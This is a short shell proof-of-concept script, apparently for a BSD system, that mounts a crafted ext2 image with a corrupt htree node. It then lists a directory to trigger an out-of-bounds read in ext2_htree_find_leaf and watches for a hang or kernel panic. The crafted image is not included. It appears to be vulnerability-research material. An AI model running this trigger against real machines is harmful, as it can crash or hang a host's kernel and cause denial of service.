#!/bin/sh
# DF-0850 PoC: Trigger OOB read in ext2_htree_find_leaf via crafted ext2 image
# with corrupt interior htree node (count=limit=0xFFFF).
# Must be run as root (mount threat model: admin mounts attacker-controlled image).
set -e

IMG="$1"
[ -z "$IMG" ] && IMG=/root/evil_ext2.img
MNT=/mnt/df0850

# Load ext2fs module if not loaded
kldstat -m ext2fs >/dev/null 2>&1 || kldload ext2fs

# Mount the crafted image via vnconfig
VN=$(vnconfig -c vnx $IMG 2>/dev/null || vnconfig vnx $IMG 2>/dev/null)
echo "vnconfig: $VN"
DEV=${VN:-/dev/vnx0}
# Try both naming conventions
[ -c "$DEV" ] || DEV=/dev/vn0
[ -c "$DEV" ] || DEV=$(echo $VN)

mkdir -p $MNT
mount -t ext2fs $DEV $MNT 2>&1 || mount -t ext2fs /dev/vn0 $MNT 2>&1
echo "Mount exit: $?"

# Trigger the htree lookup - any filename will do since hash=0 covers all
echo "Triggering htree lookup in testdir..."
ls $MNT/testdir/ >/dev/null 2>&1 &
LS_PID=$!
# Give it a few seconds; if it hangs/panics, that's the bug
sleep 3
if kill -0 $LS_PID 2>/dev/null; then
    echo "STUCK: ls still running after 3s (likely infinite loop or about to panic)"
    kill -9 $LS_PID 2>/dev/null
fi

echo "PoC complete."